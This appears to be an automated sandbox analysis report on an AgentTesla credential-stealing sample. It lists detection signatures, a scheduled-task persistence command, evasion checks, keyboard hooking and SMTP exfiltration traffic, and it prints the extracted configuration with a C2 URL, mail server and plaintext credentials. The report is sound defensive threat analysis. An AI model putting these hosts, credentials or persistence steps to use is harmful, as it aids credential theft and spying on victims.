Play interactive tour

Edit tour

Analysis Report BL Draft Copy #747470.exe

Overview

General Information

Sample Name:	BL Draft Copy #747470.exe
Analysis ID:	344998
MD5:	125158a5cec004ba7ee2910b6a835292
SHA1:	22a58409bed9a9801aa9894ceae4858fbf2c81e5
SHA256:	4bc04aa1102d1ddab6de06654183987351f5215c5cf3fe6f9cb13b3efcd99656
Tags:	AgentTeslaexe
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AgentTesla

Yara detected AntiVM_3

.NET source code contains very large array initializations

C2 URLs / IPs found in malware configuration

Installs a global keyboard hook

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Uses schtasks.exe or at.exe to add and modify task schedules

Antivirus or Machine Learning detection for unpacked file

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Startup

System is w10x64

BL Draft Copy #747470.exe (PID: 6844 cmdline: 'C:\Users\user\Desktop\BL Draft Copy #747470.exe' MD5: 125158A5CEC004BA7EE2910B6A835292)

schtasks.exe (PID: 6936 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

BL Draft Copy #747470.exe (PID: 6984 cmdline: C:\Users\user\Desktop\BL Draft Copy #747470.exe MD5: 125158A5CEC004BA7EE2910B6A835292)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "CEoVwenaUi", "URL: ": "http://Jneszaj6A5TZOa4IbKa.net", "To: ": "mpdolx@yandex.com", "ByHost: ": "mail.unique-skill.com:587", "Password: ": "liyrWKt", "From: ": ""}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.601678251.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.226895744.0000000003622000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.226756558.0000000003539000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.226386287.0000000002531000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: BL Draft Copy #747470.exe PID: 6984	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BL Draft Copy #747470.exe PID: 6984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BL Draft Copy #747470.exe PID: 6844	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BL Draft Copy #747470.exe PID: 6844	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.BL Draft Copy #747470.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Sigma Overview

System Summary:

Sigma detected: Scheduled temp file as task from temp location

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp', CommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp', CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: 'C:\Users\user\Desktop\BL Draft Copy #747470.exe' , ParentImage: C:\Users\user\Desktop\BL Draft Copy #747470.exe, ParentProcessId: 6844, ProcessCommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp', ProcessId: 6936

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: BL Draft Copy #747470.exe.6984.3.memstr

Malware Configuration Extractor: Agenttesla {"Username: ": "CEoVwenaUi", "URL: ": "http://Jneszaj6A5TZOa4IbKa.net", "To: ": "mpdolx@yandex.com", "ByHost: ": "mail.unique-skill.com:587", "Password: ": "liyrWKt", "From: ": ""}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\myAHtoyS.exe

ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Show sources

Source: BL Draft Copy #747470.exe	Virustotal: Detection: 43%			Perma Link
Source: BL Draft Copy #747470.exe	ReversingLabs: Detection: 34%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\myAHtoyS.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: BL Draft Copy #747470.exe

Joe Sandbox ML: detected

Source: 3.2.BL Draft Copy #747470.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen8

Compliance:

Uses 32bit PE files

Show sources

Source: BL Draft Copy #747470.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: BL Draft Copy #747470.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.3:49744 -> 162.215.249.91:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.3:49745 -> 162.215.249.91:587

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: http://Jneszaj6A5TZOa4IbKa.net

Source: global traffic

TCP traffic: 192.168.2.3:49744 -> 162.215.249.91:587

Source: global traffic

TCP traffic: 192.168.2.3:49744 -> 162.215.249.91:587

Source: unknown

DNS traffic detected: queries for: mail.unique-skill.com

Source: BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	String found in binary or memory: http://FaDvCC.com
Source: BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp, BL Draft Copy #747470.exe, 00000003.00000002.610165623.000000000326C000.00000004.00000001.sdmp	String found in binary or memory: http://Jneszaj6A5TZOa4IbKa.net
Source: BL Draft Copy #747470.exe, 00000003.00000002.610247504.0000000003281000.00000004.00000001.sdmp	String found in binary or memory: http://mail.unique-skill.com
Source: BL Draft Copy #747470.exe, 00000000.00000002.226386287.0000000002531000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: BL Draft Copy #747470.exe, 00000003.00000002.610247504.0000000003281000.00000004.00000001.sdmp	String found in binary or memory: http://shared116.accountservergroup.com
Source: BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%$
Source: BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: BL Draft Copy #747470.exe, 00000000.00000002.226895744.0000000003622000.00000004.00000001.sdmp, BL Draft Copy #747470.exe, 00000003.00000002.601678251.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Installs a global keyboard hook

Show sources

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\BL Draft Copy #747470.exe

Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Code function: 3_2_01420A70 KiUserExceptionDispatcher,wvsprintfA,GetUpdateRgn,KiUserExceptionDispatcher,GetSystemMetrics,KiUserExceptionDispatcher,IsWindowArranged,GetAsyncKeyState,UnregisterClassW,UnregisterClassW,LoadMenuA,QueryDisplayConfig,LdrInitializeThunk,GetSysColor,ConsoleControl,EnumDisplaySettingsExW,DestroyReasons,RecordShutdownReason,

3_2_01420A70

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 3.2.BL Draft Copy #747470.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bE11F703Fu002dF535u002d4326u002d8F5Cu002d9C863BB4D010u007d/E673DFF5u002d92A0u002d4E89u002d8703u002d24ED0D78D406.cs

Large array initialization: .cctor: array initializer size 11974

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Code function: 3_2_01426178	3_2_01426178
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Code function: 3_2_014268B0	3_2_014268B0
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Code function: 3_2_01425B45	3_2_01425B45
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Code function: 3_2_0142D898	3_2_0142D898
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Code function: 3_2_01694750	3_2_01694750
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Code function: 3_2_01694806	3_2_01694806
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Code function: 3_2_05B7C6F0	3_2_05B7C6F0

Source: BL Draft Copy #747470.exe, 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSoapName.dll2 vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000000.00000002.231177716.0000000005ED0000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000000.00000002.231177716.0000000005ED0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000000.00000002.226895744.0000000003622000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamePositiveSign.dll< vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000000.00000002.226895744.0000000003622000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameOkqVnKOZOtwqdxuoQyOtsddXGqNhu.exe4 vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000000.00000002.225307562.00000000001B8000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAssemblyAttributesGoHereSM.exe. vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000000.00000002.230975597.0000000005DD0000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000003.00000002.608229195.0000000001530000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000003.00000002.604552016.00000000010F8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000003.00000002.601678251.0000000000402000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameOkqVnKOZOtwqdxuoQyOtsddXGqNhu.exe4 vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000003.00000002.608311807.00000000015A0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamewshom.ocx vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000003.00000000.222033471.0000000000CD8000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAssemblyAttributesGoHereSM.exe. vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000003.00000002.608356295.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamewshom.ocx.mui vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe, 00000003.00000002.612962694.0000000006280000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs BL Draft Copy #747470.exe
Source: BL Draft Copy #747470.exe	Binary or memory string: OriginalFilenameAssemblyAttributesGoHereSM.exe. vs BL Draft Copy #747470.exe

Source: BL Draft Copy #747470.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 3.2.BL Draft Copy #747470.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 3.2.BL Draft Copy #747470.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/5@4/1

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

File created: C:\Users\user\AppData\Roaming\myAHtoyS.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6948:120:WilError_01
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Mutant created: \Sessions\1\BaseNamedObjects\svTtVEfciedCsxYKdkXBiQRJ

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

File created: C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp

Jump to behavior

Source: BL Draft Copy #747470.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: BL Draft Copy #747470.exe	Virustotal: Detection: 43%
Source: BL Draft Copy #747470.exe	ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

File read: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\BL Draft Copy #747470.exe 'C:\Users\user\Desktop\BL Draft Copy #747470.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\BL Draft Copy #747470.exe C:\Users\user\Desktop\BL Draft Copy #747470.exe
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp'	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process created: C:\Users\user\Desktop\BL Draft Copy #747470.exe C:\Users\user\Desktop\BL Draft Copy #747470.exe	Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: BL Draft Copy #747470.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: BL Draft Copy #747470.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Code function: 3_2_0142B597 push edi; retn 0000h

3_2_0142B599

Source: initial sample	Static PE information: section name: .text entropy: 7.4641212281
Source: initial sample	Static PE information: section name: .text entropy: 7.4641212281

Persistence and Installation Behavior:

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

File created: C:\Users\user\AppData\Roaming\myAHtoyS.exe

Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: unknown

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp'

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
